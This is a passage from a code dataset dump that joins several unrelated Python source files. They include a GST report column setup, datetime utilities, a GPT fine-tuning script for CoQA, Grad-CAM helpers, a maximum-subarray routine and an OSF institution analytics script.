\"place_of_supply\",\n\t\t\t\t\t\"label\": \"Place of Supply\",\n\t\t\t\t\t\"fieldtype\": \"Data\",\n\t\t\t\t\t\"width\": 120\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"ecommerce_gstin\",\n\t\t\t\t\t\"label\": \"E-Commerce GSTIN\",\n\t\t\t\t\t\"fieldtype\": \"Data\",\n\t\t\t\t\t\"width\": 130\n\t\t\t\t}\n\t\t\t]\n\t\t\tself.other_columns = [\n\t\t\t\t{\n\t\t\t\t\t\t\"fieldname\": \"cess_amount\",\n\t\t\t\t\t\t\"label\": \"Cess Amount\",\n\t\t\t\t\t\t\"fieldtype\": \"Currency\",\n\t\t\t\t\t\t\"width\": 100\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"type\",\n\t\t\t\t\t\"label\": \"Type\",\n\t\t\t\t\t\"fieldtype\": \"Data\",\n\t\t\t\t\t\"width\": 50\n\t\t\t\t}\n\t\t\t]\n\t\telif self.filters.get(\"type_of_business\") == \"EXPORT\":\n\t\t\tself.invoice_columns = [\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"export_type\",\n\t\t\t\t\t\"label\": \"Export Type\",\n\t\t\t\t\t\"fieldtype\": \"Data\",\n\t\t\t\t\t\"width\":120\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"invoice_number\",\n\t\t\t\t\t\"label\": \"Invoice Number\",\n\t\t\t\t\t\"fieldtype\": \"Link\",\n\t\t\t\t\t\"options\": \"Sales Invoice\",\n\t\t\t\t\t\"width\":120\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"posting_date\",\n\t\t\t\t\t\"label\": \"Invoice date\",\n\t\t\t\t\t\"fieldtype\": \"Date\",\n\t\t\t\t\t\"width\": 120\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"invoice_value\",\n\t\t\t\t\t\"label\": \"Invoice Value\",\n\t\t\t\t\t\"fieldtype\": \"Currency\",\n\t\t\t\t\t\"width\": 120\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"port_code\",\n\t\t\t\t\t\"label\": \"Port Code\",\n\t\t\t\t\t\"fieldtype\": \"Data\",\n\t\t\t\t\t\"width\": 120\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"shipping_bill_number\",\n\t\t\t\t\t\"label\": \"Shipping Bill Number\",\n\t\t\t\t\t\"fieldtype\": \"Data\",\n\t\t\t\t\t\"width\": 120\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"fieldname\": \"shipping_bill_date\",\n\t\t\t\t\t\"label\": \"Shipping Bill Date\",\n\t\t\t\t\t\"fieldtype\": \"Date\",\n\t\t\t\t\t\"width\": 120\n\t\t\t\t}\n\t\t\t]\n\t\tself.columns = self.invoice_columns + self.tax_columns + self.other_columns","sub_path":"finance/finance/report/spm_gstr_1/spm_gstr_1.py","file_name":"spm_gstr_1.py","file_ext":"py","file_size_in_byte":14229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"71708269","text":"# -*- coding: utf-8 -*-\n# Copyright 2021 Tampere University and VTT Technical Research Centre of Finland\n# This software was developed as a part of the ProCemPlus project: https://www.senecc.fi/projects/procemplus\n# This source code is licensed under the MIT license. See LICENSE in the repository root directory.\n# Author(s): Ville Heikkilä \n\n\"\"\"Module containing utility functions related to datetime values.\"\"\"\n\nimport datetime\nfrom typing import Union\n\nfrom tools.tools import FullLogger\n\nLOGGER = FullLogger(__name__)\n\nUTC_TIMEZONE_MARK = \"Z\"\nDIGITS_IN_MILLISECONDS = 3\n\n\ndef get_utcnow_in_milliseconds() -> str:\n \"\"\"Returns the current ISO 8601 format datetime string in UTC timezone.\"\"\"\n isoformat_with_milliseconds = isoformat_to_milliseconds(datetime.datetime.utcnow().isoformat())\n if isoformat_with_milliseconds is None:\n LOGGER.error(\"Unexpected error when trying to get current time in ISO 8601 format\")\n return \"1970-01-01T00:00:00.000Z\"\n\n return isoformat_with_milliseconds + UTC_TIMEZONE_MARK\n\n\ndef to_iso_format_datetime_string(datetime_value: Union[str, datetime.datetime]) -> Union[str, None]:\n \"\"\"Returns the given datetime value as ISO 8601 formatted string in UTC timezone.\n Accepts either datetime objects or strings.\n Return None if the given values was invalid.\"\"\"\n if isinstance(datetime_value, datetime.datetime):\n isoformat_with_milliseconds = isoformat_to_milliseconds(\n datetime_value.astimezone(datetime.timezone.utc).isoformat())\n if isoformat_with_milliseconds is None:\n return None\n return isoformat_with_milliseconds + UTC_TIMEZONE_MARK\n if isinstance(datetime_value, str):\n datetime_object = to_utc_datetime_object(datetime_value)\n return to_iso_format_datetime_string(datetime_object)\n return None\n\n\ndef to_utc_datetime_object(datetime_str: str) -> datetime.datetime:\n \"\"\"Returns a datetime object corresponding to the given ISO 8601 formatted string.\"\"\"\n return datetime.datetime.fromisoformat(datetime_str.replace(UTC_TIMEZONE_MARK, \"+00:00\"))\n\n\ndef isoformat_to_milliseconds(datetime_str: str) -> Union[str, None]:\n \"\"\"Returns the given ISO 8601 format datetime string in millisecond precision.\n Also removes timezone information.\"\"\"\n date_mark_index = datetime_str.find(\"T\")\n if date_mark_index < 0:\n return None\n\n plus_mark_index = datetime_str.find(\"+\", date_mark_index)\n if plus_mark_index >= 0:\n datetime_str = datetime_str[:plus_mark_index]\n\n minus_mark_index = datetime_str.find(\"-\", date_mark_index)\n if minus_mark_index >= 0:\n datetime_str = datetime_str[:minus_mark_index]\n\n second_fraction_mark_index = datetime_str.find(\".\")\n if second_fraction_mark_index >= 0:\n number_of_decimals = len(datetime_str) - second_fraction_mark_index\n return (\n datetime_str[:second_fraction_mark_index + DIGITS_IN_MILLISECONDS + 1] +\n \"0\" * max(DIGITS_IN_MILLISECONDS - number_of_decimals, 0)\n )\n\n return datetime_str + \".\" + \"0\" * DIGITS_IN_MILLISECONDS\n","sub_path":"domain-messages/simulation-tools/tools/datetime_tools.py","file_name":"datetime_tools.py","file_ext":"py","file_size_in_byte":3126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"358163778","text":"import argparse\r\n\r\nfrom torch.utils.data import DataLoader\r\nimport sys\r\n\r\nimport clr as net_clr\r\nfrom System import Array, IntPtr, Int32, Int64\r\nfrom progress.bar import Bar as Bar\r\nimport os\r\nimport torch\r\nimport encoder\r\n\r\nimport random\r\nimport json\r\nimport numpy\r\nimport collections\r\nfrom collections import Counter\r\nfrom collections import OrderedDict\r\nimport math\r\n\r\nparser = argparse.ArgumentParser(description='CoQA machine reading comprehension training ...')\r\n\r\nparser.add_argument('--lib', default='Targets/', type=str, help='biglearn lib path')\r\nparser.add_argument('--vocab_file', default='/gpt-2/models/345M/', type=str, help='vocabulary file')\r\nparser.add_argument(\"--pad_token\", type=int, default=50256, help=\"id of [pad]\")\r\nparser.add_argument(\"--vocabsize\", type=int, default=50257, help=\"vocab size.\")\r\n\r\nparser.add_argument('--output_dir', default='/tmp_coqa/', type=str, help='output model')\r\n\r\nparser.add_argument('--init_checkpoint', default='/gpt-2/models/345M/', type=str, help='output model')\r\n\r\nparser.add_argument('--train_file', default='/coqa/coqa-train-v1.0.json', type=str, help='CoQA json for training. E.g., train-v1.1.json')\r\nparser.add_argument('--predict_file', default='/coqa/coqa-dev-v1.0.json', type=str, help='CoQA json for dev. E.g., dev-v1.1.json')\r\n\r\nparser.add_argument(\"--max_seq_length\", type=int, default=514, help=\"maximum sequence length\")\r\nparser.add_argument(\"--max_query_length\", type=int, default=64, help=\"maximum query length\")\r\nparser.add_argument(\"--max_ans_length\", type=int, default=32, help=\"maximum ans length\")\r\n\r\nparser.add_argument(\"--batch_size\", type=int, default=48, help=\"number of batch_size\")\r\nparser.add_argument(\"--num_workers\", type=int, default=0, help=\"dataloader worker size\")\r\nparser.add_argument(\"--gpu_id\", type=str, default=\"0\", help=\"gpu id\")\r\nparser.add_argument(\"--grad_acc\", type=int, default=1, help=\"gradient accumulate step.\")\r\n\r\nparser.add_argument(\"--learning_rate\", type=float, default=1.5e-5, help=\"The initial learning rate for Adam.\")\r\nparser.add_argument(\"--num_train_epochs\", type=float, default=2.0, help=\"Total number of training epochs to perform.\")\r\nparser.add_argument(\"--grad_clip\", type=float, default=1.0, help=\"gradient clip\")\r\nparser.add_argument(\"--warmup_proportion\", type=float, default=0.06, help=\"Proportion of training to perform linear learning rate warmup for. \")\r\nparser.add_argument(\"--save_checkpoints_steps\", type=int, default=1000, help=\"How often to save the model checkpoint.\")\r\nparser.add_argument('--weight_decay', type=float, default=0.0001, help='weight decay for optimization.')\r\n\r\nparser.add_argument(\"--beam_size\", type=int, default=1, help=\"beam search for prediction.\")\r\n\r\nparser.add_argument(\"--mode\", type=int, default=1, help=\"0:train; 1:mrc prediction; 2:query generation;\")\r\nparser.add_argument('--seed_type', default=0, type=int, metavar='S', help='0：originial gpt; 1: refined gpt.')\r\n\r\n\r\nargs = parser.parse_args()\r\n#args.vocab_path = args.seed_gpt\r\n\r\n#train_dataset = args.train_dataset\r\n#valid_dataset = ''\r\n#valid_json = ''\r\n\r\n#if not args.input == '':\r\n#train_dataset = args.input + '/train-v2.0.roberta.cook.json'\r\n# valid_dataset = args.input + '/dev-v2.0.roberta.cook.json'\r\n# valid_json = args.input + '/dev-v2.0.json' \r\n\r\nsys.path.append(args.lib) \r\nnet_clr.AddReference('BigLearn')\r\nnet_clr.AddReference('BigLearn.DeepNet')\r\n\r\n#cate = 2\r\n#unk_cate = 1\r\n\r\nfrom gpt_model import DistGPTTrainer, DistGPTPredictor\r\nfrom coqa_dataset import seq2seq_dataset, CoQAExample, read_coqa_examples, InputFeatures, convert_examples_to_features, write_predictions\r\n\r\n#from util import AverageMeter, Schedule, WorkStation\r\n#from util import SpanLogit, GetBestSpan, GetBestSpanLogProb\r\n#from squad_eval_v2 import call_validate\r\n\r\nimport BigLearn\r\nfrom BigLearn import GradientOptimizer, StructureLearner\r\n\r\n\r\ndevice_num = len(args.gpu_id.split(','))\r\nprint(\"set gpu number \", device_num)\r\nos.environ['CUDA_VISIBLE_DEVICES'] = str(args.gpu_id)\r\n\r\n\r\nclass AverageMeter(object):\r\n \"\"\"Computes and stores the average and current value\r\n \"\"\"\r\n def __init__(self, tmpfile=''):\r\n self.reset()\r\n \r\n if tmpfile == '':\r\n self.tmpwriter = None\r\n else:\r\n self.tmpwriter = open(tmpfile, 'w')\r\n\r\n def done(self):\r\n if tmpwriter != None:\r\n self.tmpwriter.close()\r\n\r\n def reset(self):\r\n self.val = 0\r\n self.avg = 0\r\n self.sum = 0\r\n self.count = 0\r\n self.history = []\r\n\r\n def update(self, val, n=1):\r\n self.val = val\r\n self.sum += val * n\r\n self.count += n\r\n self.avg = self.sum / self.count\r\n\r\n for k in range(n):\r\n self.history.append(val)\r\n\r\n if self.tmpwriter != None:\r\n self.tmpwriter.write(str(val)+'\\n')\r\n self.tmpwriter.flush()\r\n\r\n\r\ndef predict_mrc(pred_loader, tokenizer, gptPredictor):\r\n all_results = []\r\n\r\n bar = Bar('prediction', max=len(pred_loader))\r\n gptPredictor.init()\r\n\r\n for batch_idx, data in enumerate(pred_loader):\r\n data = {key: value for key, value in data.items()}\r\n\r\n q_tokens = data['src_tokens']\r\n q_len = data['src_len']\r\n\r\n a_tokens = data['tgt_tokens']\r\n a_len = data['tgt_len']\r\n\r\n unique_id = data['unique_id']\r\n\r\n #_tokens = data['token']\r\n #_lens = data['len']\r\n _ans_tokens, _ans_len = gptPredictor.predict(q_tokens, q_len) \r\n\r\n for b in range(0, args.batch_size):\r\n _unique_id = unique_id[b].item()\r\n _ans_text = tokenizer.decode(_ans_tokens[b][:_ans_len[b]].numpy())\r\n all_results.append([_unique_id, _ans_text])\r\n\r\n bar.suffix = '({batch}/{size}) Total: {total:} | ETA: {eta:} '.format(\r\n batch=batch_idx + 1,\r\n size=len(pred_loader),\r\n total=bar.elapsed_td,\r\n eta=bar.eta_td)\r\n bar.next()\r\n gptPredictor.complete()\r\n bar.finish()\r\n return all_results\r\n\r\ndef train(task_loaders, num_train_steps, gptTrainer):\r\n #train_iter = iter(train_loader) \r\n epoch = 0\r\n update_cnt = 0\r\n bar = Bar('training', max=num_train_steps * args.grad_acc)\r\n\r\n rng = random.Random(9110)\r\n task_iter = {}\r\n\r\n dq_loss = AverageMeter()\r\n da_loss = AverageMeter()\r\n gptTrainer.init()\r\n for train_step in range(num_train_steps * args.grad_acc):\r\n\r\n task_idx = random.randint(0, len(task_loaders) - 1)\r\n task_loader = task_loaders[task_idx]\r\n try:\r\n data = next(task_iter[task_loader])\r\n except:\r\n task_iter[task_loader] = iter(task_loader)\r\n data = next(task_iter[task_loader])\r\n data = {key: value for key, value in data.items()}\r\n\r\n src_tokens = data['src_tokens']\r\n src_len = data['src_len']\r\n\r\n tgt_tokens = data['tgt_tokens']\r\n tgt_len = data['tgt_len']\r\n\r\n is_update = False\r\n if (train_step + 1) % args.grad_acc == 0:\r\n is_update = True\r\n update_cnt += 1\r\n\r\n # full_train(self, q_tokens, q_len, a_tokens, a_len, is_update=True, ratio = 1.0):\r\n _loss = gptTrainer.full_train(src_tokens, src_len, tgt_tokens, tgt_len, is_update=is_update, ratio = 1.0 / args.grad_acc / device_num)\r\n\r\n if task_idx == 0:\r\n dq_loss.update(_loss)\r\n elif task_idx == 1:\r\n da_loss.update(_loss)\r\n\r\n if is_update and update_cnt % args.save_checkpoints_steps == 0 : \r\n gptTrainer.save_model(args.output_dir + '/model.'+str(update_cnt)+'.epoch')\r\n\r\n bar.suffix = '({batch}/{size}) Total: {total:} | ETA: {eta:} | dq_loss: {dq_loss.val:.3f} ({dq_loss.avg:.3f}) | da_loss: {da_loss.val:.3f} ({da_loss.avg:.3f})'.format(\r\n batch=train_step,\r\n size=num_train_steps * args.grad_acc,\r\n total=bar.elapsed_td,\r\n eta=bar.eta_td,\r\n dq_loss=dq_loss,\r\n da_loss=da_loss)\r\n bar.next()\r\n bar.finish()\r\n \r\n gptTrainer.save_model(args.output_dir + '/model.done.epoch')\r\n gptTrainer.complete()\r\n\r\n\r\n\r\ndef lr_schedule(init_lr, num_train_steps, num_warmup_steps):\r\n lr_sched = '0:0.0,'+str(num_warmup_steps)+':'+str(init_lr)+','+str(num_train_steps)+':0.0'\r\n print(lr_sched)\r\n return lr_sched\r\n\r\ndef main():\r\n tokenizer = encoder.get_encoder('', args.vocab_file)\r\n if not os.path.exists(args.output_dir):\r\n os.makedirs(args.output_dir)\r\n\r\n # training.\r\n if args.mode == 0: \r\n print('loading training data', args.train_file)\r\n train_examples = read_coqa_examples(input_file=args.train_file, tokenizer=tokenizer, history=100, turn_ids=[1])\r\n\r\n # Pre-shuffle the input to avoid having to make a very large shuffle buffer in in the `input_fn`.\r\n print('shuffling training data')\r\n rng = random.Random(12345)\r\n rng.shuffle(train_examples)\r\n \r\n dq_train_features = convert_examples_to_features(examples=train_examples,\r\n tokenizer=tokenizer,\r\n pad_token=args.pad_token,\r\n max_seq_length=args.max_seq_length,\r\n max_ans_length=args.max_ans_length,\r\n max_query_length=args.max_query_length,\r\n fea_style=0)\r\n\r\n da_train_features = convert_examples_to_features(examples=train_examples,\r\n tokenizer=tokenizer,\r\n pad_token=args.pad_token,\r\n max_seq_length=args.max_seq_length,\r\n max_ans_length=args.max_ans_length,\r\n max_query_length=args.max_query_length,\r\n fea_style=1)\r\n \r\n tmp_batch_size = int(args.batch_size / args.grad_acc)\r\n\r\n dq_train_dataset = seq2seq_dataset(dq_train_features, tmp_batch_size, True)\r\n dq_train_loader = DataLoader(dq_train_dataset, batch_size=tmp_batch_size, num_workers=0, shuffle=True, drop_last=True)\r\n\r\n da_train_dataset = seq2seq_dataset(da_train_features, tmp_batch_size, True)\r\n da_train_loader = DataLoader(da_train_dataset, batch_size=tmp_batch_size, num_workers=0, shuffle=True, drop_last=True)\r\n\r\n task_loaders = [dq_train_loader, da_train_loader]\r\n\r\n num_train_steps = int( (len(dq_train_features) + len(da_train_features)) / args.batch_size * args.num_train_epochs)\r\n num_warmup_steps = int(num_train_steps * args.warmup_proportion)\r\n lr_sched = lr_schedule(args.learning_rate, num_train_steps, num_warmup_steps)\r\n \r\n print(\"Create model and setup enviroument\")\r\n gptTrainer = DistGPTTrainer(args.vocabsize, 1024, 16, 24, 'coqa_gpt', tmp_batch_size, args.max_seq_length, 0.0, device_num)\r\n\r\n if args.seed_type == 0:\r\n gptTrainer.load_pretrained_gpt(args.init_checkpoint)\r\n elif args.seed_type == 1:\r\n gptTrainer.load_model(args.init_checkpoint)\r\n\r\n gptTrainer.allocate_optimizer(args.learning_rate, args.grad_clip, lr_sched, args.weight_decay)\r\n\r\n train(task_loaders, num_train_steps, gptTrainer)\r\n \r\n if args.mode == 1:\r\n print('loading predict data', args.predict_file)\r\n pred_examples = read_coqa_examples(input_file=args.predict_file, tokenizer=tokenizer, history=100, turn_ids=[i for i in range(100)])\r\n\r\n print('convert training example to features.')\r\n dq_pred_features = convert_examples_to_features(examples=pred_examples,\r\n tokenizer=tokenizer,\r\n pad_token=args.pad_token,\r\n max_seq_length=args.max_seq_length,\r\n max_ans_length=args.max_ans_length,\r\n max_query_length=args.max_query_length,\r\n fea_style=0)\r\n\r\n dq_pred_dataset = seq2seq_dataset(dq_pred_features, args.batch_size, False)\r\n dq_pred_loader = DataLoader(dq_pred_dataset, batch_size=args.batch_size, num_workers=0, shuffle=False, drop_last=True)\r\n\r\n gptMrcPredictor = DistGPTPredictor(args.vocabsize, 1024, 16, 24, 'coqa_gpt', args.batch_size, args.beam_size, \r\n args.max_seq_length - args.max_ans_length, args.max_ans_length, device_num)\r\n if args.seed_type == 0:\r\n gptMrcPredictor.load_pretrained_gpt(args.init_checkpoint)\r\n elif args.seed_type == 1:\r\n gptMrcPredictor.load_model(args.init_checkpoint)\r\n\r\n print('prediction lines', len(dq_pred_features))\r\n\r\n #mrcPredictor = mrcTrainer\r\n all_results = predict_mrc(dq_pred_loader, tokenizer, gptMrcPredictor)\r\n output_prediction_file = os.path.join(args.output_dir, \"predictions.json\")\r\n write_predictions(dq_pred_features, all_results, output_prediction_file)\r\n\r\nif __name__ == \"__main__\":\r\n main()","sub_path":"python/gpt_finetune/dq_da_coqa_trainer.py","file_name":"dq_da_coqa_trainer.py","file_ext":"py","file_size_in_byte":13520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"520030920","text":"import renom.cuda as cu\nfrom renom.debug_graph import showmark\nfrom renom.core.basic_ops import to_value\nfrom renom.core import UnaryOp, Node\nfrom renom.layers.function.parameterized import Sequential\nfrom renom.layers.activation.relu import Relu\nimport renom\nimport renom as rm\nimport numpy as np\nfrom renom.cuda import set_cuda_active\nimport sys\nsys.setrecursionlimit(5000)\nif cu.has_cuda():\n from renom.cuda.gpuvalue import get_gpu\n\n\nmodel_types = ['VGG16', 'VGG19', 'ResNet18', 'ResNet34', 'ResNet50',\n 'ResNet101', 'ResNet152', 'ResNeXt50', 'ResNeXt101', 'DenseNet121', 'Sequential']\n\n# Guided Back-propagation version of ReLU function\n\n\n@showmark\nclass relu_gb(UnaryOp):\n\n @classmethod\n def _oper_cpu(cls, arg):\n return np.maximum(arg, 0)\n\n @classmethod\n def _oper_gpu(cls, arg):\n ret = get_gpu(arg).empty_like_me()\n cu.curelu_foward(get_gpu(arg), ret)\n return ret\n\n def _backward_cpu(self, context, dy, **kwargs):\n if isinstance(self.attrs._arg, Node):\n dy = np.where(dy > 0, dy, 0)\n self.attrs._arg._update_diff(context, np.where(self == 0, 0, dy), **kwargs)\n\n def _backward_gpu(self, context, dy, **kwargs):\n if isinstance(self.attrs._arg, Node):\n dx = get_gpu(self.attrs._arg).empty_like_me()\n cu.curelu_backard(get_gpu(self.attrs._arg), dx)\n dy_new = get_gpu(dy).empty_like_me()\n cu.curelu_foward(get_gpu(dy), dy_new)\n self.attrs._arg._update_diff(context, dx * dy_new, **kwargs)\n\n\nclass Relu_GB:\n '''Modified Rectified Linear Unit activation function for Guided Backpropagation.\n Backward pass is modified according to reference below\n\n :math:`f(x)=max(x, 0)`\n\n Args:\n x (ndarray, Node): Input numpy array or Node instance.\n\n Example:\n >>> import renom as rm\n >>> import numpy as np\n >>> x = np.array([[1, -1]])\n array([[ 1, -1]])\n >>> rm.relu(x)\n relu([[ 1. , 0.]])\n\n >>> # instantiation\n >>> activation = rm.Relu()\n >>> activation(x)\n relu([[ 1. , 0]])\n\n '''\n\n def __call__(self, x):\n return relu_gb(x)\n\n\ndef convert_relus(model):\n if isinstance(model, Sequential):\n model_dict = model.__dict__\n for k, v in model_dict.items():\n if isinstance(v, Relu):\n model_dict[k] = Relu_GB()\n elif k == '_layers':\n for i, e in enumerate(model_dict[k]):\n if isinstance(e, Relu):\n model_dict[k][i] = Relu_GB()\n else:\n convert_relus(model_dict[k][i])\n else:\n convert_relus(model_dict[k])\n else:\n try:\n model_dict = model.__dict__\n if 'model' in model_dict.keys():\n convert_relus(model_dict['model'])\n for k, v in model_dict.items():\n if isinstance(v, Relu):\n model_dict[k] = Relu_GB()\n elif k != '_parameters':\n convert_relus(model_dict[k])\n except:\n if isinstance(model, list):\n for e in model:\n if isinstance(e, Relu):\n model[e] = Relu_GB()\n else:\n convert_relus(model[e])\n elif isinstance(model, Relu):\n model = Relu_GB()\n return model\n\n\ndef vgg_cam(model, x, class_id, mode):\n x = model._model.block1(x)\n x = model._model.block2(x)\n x = model._model.block3(x)\n x = model._model.block4(x)\n final_conv = rm.Sequential(model._model.block5[:-1])(x)\n x = model._model.block5[-1](final_conv)\n x = rm.flatten(x)\n x = rm.relu(model._model.fc1(x))\n x = rm.relu(model._model.fc2(x))\n x = model._model.fc3(x)\n if mode == 'plus':\n x = rm.exp(x)\n x_c = x[:, class_id]\n return rm.sum(x_c), final_conv\n\n\ndef resnet_cam(model, x, class_id, mode):\n x = model._model.conv1(x)\n x = model._model.bn1(x)\n x = model._model.relu(x)\n x = model._model.maxpool(x)\n x = model._model.layer1(x)\n x = model._model.layer2(x)\n x = model._model.layer3(x)\n final_conv = model._model.layer4(x)\n x = rm.average_pool2d(final_conv, filter=(final_conv.shape[2], final_conv.shape[3]))\n x = model._model.flat(x)\n x = model._model.fc(x)\n if mode == 'plus':\n x = rm.exp(x)\n x_c = x[:, class_id]\n return rm.sum(x_c), final_conv\n\n\ndef densenet_cam(model, x, class_id, mode):\n i = 0\n t = model._model.base[i](x)\n i += 1\n t = rm.relu(model._model.base[i](t))\n i += 1\n t = rm.max_pool2d(t, filter=3, stride=2, padding=1)\n for j in model._model.layer_per_block[:-1]:\n for k in range(j):\n tmp = t\n t = model._model.base[i](t)\n i += 1\n t = rm.concat(tmp, t)\n t = model._model.base[i](t)\n i += 1\n for j in range(model._model.layer_per_block[-1]):\n tmp = t\n t = model._model.base[i](t)\n i += 1\n t = rm.concat(tmp, t)\n final_conv = t\n t = rm.average_pool2d(t, filter=7, stride=1)\n t = rm.flatten(t)\n t = model._model.fc(t)\n if mode == 'plus':\n t = rm.exp(t)\n x_c = t[:, class_id]\n return rm.sum(x_c), final_conv\n\n\ndef sequential_cam(model, x, class_id, mode, node_index):\n for i in range(len(model._layers)):\n x = model._layers[i](x)\n if i == node_index:\n final_conv = x\n if mode == 'plus':\n x = rm.exp(x)\n if x.shape[1] > 1:\n t_c = x[:, class_id]\n else:\n t_c = x\n return rm.sum(t_c), final_conv\n","sub_path":"renom_img/api/utility/visualize/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"279353378","text":"def find_max_crossing(A, low, mid, high):\n left_sum, right_sum = -1000000, -1000000 # 准确应该用负无穷\n max_left, max_right = 0, 0\n sum_i, sum_j = 0, 0\n for i in range(-mid, -low):\n sum_i += A[-i]\n if sum_i > left_sum:\n left_sum = sum_i\n max_left = -i\n\n for j in range(mid+1, high):\n sum_j += A[j]\n if sum_j > right_sum:\n right_sum = sum_j\n max_right = j\n return max_left, max_right, left_sum + right_sum\n\n\ndef find_maximum(A, low, high):\n A.append(0)\n sum_A,index = 0, 0\n for i in range(len(A)):\n if A[i] >= 0:\n sum_A += A[i]\n index += 1\n if index == len(A):\n return low, high, sum_A\n\n if high == low:\n return low, high, A[low]\n else:\n mid = (low + high)//2\n left_data = left_low, left_high, left_sum = find_maximum(A, low, mid)\n right_data = right_low, right_high, right_sum = find_maximum(A, mid+1, high)\n cross_data = cross_low, cross_high, cross_sum = find_max_crossing(A, low, mid, high)\n\n if left_sum >= right_sum and left_sum >= cross_sum:\n return left_data\n if right_sum >= left_sum and right_sum >= cross_sum:\n return right_data\n else:\n return cross_data\n\n\nif __name__ == \"__main__\":\n A = [1, 3, -5, 4, -4, 0, 1, 9, 9]\n print(find_maximum(A, 0, len(A)))\n","sub_path":"学习/算法导论/分治策略/maximum.py","file_name":"maximum.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"513017570","text":"import pytz\nimport logging\nfrom modularodm import Q\nfrom dateutil.parser import parse\nfrom datetime import datetime, timedelta\n\nfrom website.app import init_app\nfrom website.models import User, Node, Institution\nfrom scripts.analytics.base import SummaryAnalytics\n\n\nlogger = logging.getLogger(__name__)\nlogging.basicConfig(level=logging.INFO)\n\n\nclass InstitutionSummary(SummaryAnalytics):\n\n @property\n def collection_name(self):\n return 'institution_summary'\n\n def get_institutions(self):\n institutions = Institution.find(Q('_id', 'ne', None))\n return institutions\n\n def get_events(self, date):\n super(InstitutionSummary, self).get_events(date)\n from osf.models import AbstractNode, Registration\n\n institutions = self.get_institutions()\n counts = []\n\n # Convert to a datetime at midnight for queries and the timestamp\n timestamp_datetime = datetime(date.year, date.month, date.day).replace(tzinfo=pytz.UTC)\n query_datetime = timestamp_datetime + timedelta(1)\n\n for institution in institutions:\n user_query = Q('affiliated_institutions', 'eq', institution)\n node_query = (\n Q('is_deleted', 'ne', True) &\n Q('date_created', 'lt', query_datetime)\n )\n\n project_query = node_query & Q('parent_nodes', 'eq', None)\n public_query = Q('is_public', 'eq', True)\n private_query = Q('is_public', 'eq', False)\n node_public_query = node_query & public_query\n node_private_query = node_query & private_query\n project_public_query = project_query & public_query\n project_private_query = project_query & private_query\n count = {\n 'institution':{\n 'id': institution._id,\n 'name': institution.name,\n },\n 'users': {\n 'total': User.find(user_query).count(),\n },\n 'nodes': {\n 'total':AbstractNode.find_by_institutions(institution, node_query).count(),\n 'public': AbstractNode.find_by_institutions(institution, node_public_query).count(),\n 'private': AbstractNode.find_by_institutions(institution, node_private_query).count(),\n },\n 'projects': {\n 'total': Node.find_by_institutions(institution, project_query).count(),\n 'public': Node.find_by_institutions(institution, project_public_query).count(),\n 'private': Node.find_by_institutions(institution, project_private_query).count(),\n },\n 'registered_nodes': {\n 'total': Registration.find_by_institutions(institution, node_query).count(),\n 'public': Registration.find_by_institutions(institution, node_public_query).count(),\n 'embargoed': Registration.find_by_institutions(institution, node_private_query).count(),\n },\n 'registered_projects': {\n 'total': Registration.find_by_institutions(institution, project_query).count(),\n 'public': Registration.find_by_institutions(institution, project_public_query).count(),\n 'embargoed': Registration.find_by_institutions(institution, project_private_query).count(),\n },\n 'keen': {\n 'timestamp': timestamp_datetime.isoformat()\n }\n }\n\n logger.info(\n '{} Nodes counted. Nodes: {}, Projects: {}, Registered Nodes: {}, Registered Projects: {}'.format(\n count['institution']['name'],\n count['nodes']['total'],\n count['projects']['total'],\n count['registered_nodes']['total'],\n count['registered_projects']['total']\n )\n )\n\n counts.append(count)\n return counts\n\n\ndef get_class():\n return InstitutionSummary\n\n\nif __name__ == '__main__':\n init_app()\n institution_summary = InstitutionSummary()\n args = institution_summary.parse_args()\n yesterday = args.yesterday\n if yesterday:\n date = (datetime.today() - timedelta(1)).date()\n else:\n date = parse(args.date).date() if args.date else None\n events = institution_summary.get_events(date)\n institution_summary.send_events(events)\n","sub_path":"scripts/analytics/institution_summary.py","file_name":"institution_summary.py","file_ext":"py","file_size_in_byte":4505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"527376135","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# ------------------------------------------------------------------------------\n# \n# Author: Gabriele Girelli\n# Email: gigi.ga90@gmail.com\n# Date: 20190704\n# \n# ------------------------------------------------------------------------------\n\n# DEPENDENCIES =================================================================\n\nimport argparse\nimport numpy as np\nimport os\nimport pandas as pd\nimport sys\n\nfrom ggc.args import check_threads\nfrom joblib import Parallel, delayed\nfrom tqdm import tqdm\n\n# PARAMETERS ===================================================================\n\n# Add script description\nparser = argparse.ArgumentParser( description = '''\nGenerate mean and median condition profiles, from lamina to center, starting\nfrom previously extract nuclear voxel data.\n''', formatter_class = argparse.RawDescriptionHelpFormatter)\n\n# Add mandatory arguments\nparser.add_argument('prefix', type = str, help = '''\n\tUser prefix (usually in the format \"iFL\").''')\nparser.add_argument('rootdir', type = str, help = '''\n\tPath to root directory with nuclear voxel content.''')\n\n# Add arguments with default value\nparser.add_argument('-n', '--nbins', type = int, help = \"\"\"\n\tNumber of bins from lamina to center. Default: 200\"\"\", default = 200)\nparser.add_argument('--selected', type = str, help = \"\"\"\n\tPath to table of selected nuclei. Mandatory columns: condition, sid, nid\"\"\")\nparser.add_argument('-S', '--suffix', type = str, help = \"\"\"\n\tSuffix for output files.\"\"\", default = \"\")\nparser.add_argument('-O', '--outdir', type = 